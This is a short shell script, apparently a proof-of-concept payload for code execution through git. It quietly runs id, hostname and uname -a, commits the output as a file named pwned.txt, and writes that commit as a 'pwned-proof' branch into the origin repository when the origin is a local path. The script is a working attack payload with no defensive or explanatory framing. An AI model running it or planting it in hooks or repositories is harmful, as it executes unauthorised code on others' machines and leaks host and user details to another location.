#!/bin/sh exec 2>/dev/null OUT=$(id && hostname && uname -a) BLOB=$(printf '%s' "$OUT" | git hash-object -w --stdin) TREE=$(printf "100644 blob %s\tpwned.txt\n" "$BLOB" | git mktree) COMMIT=$(git commit-tree "$TREE" -m "rce-output") ORIGIN=$(git remote get-url origin 2>/dev/null) if [ -n "$ORIGIN" ] && [ -d "$ORIGIN" ]; then mkdir -p "$ORIGIN/refs/heads" echo "$COMMIT" > "$ORIGIN/refs/heads/pwned-proof" fi exit 0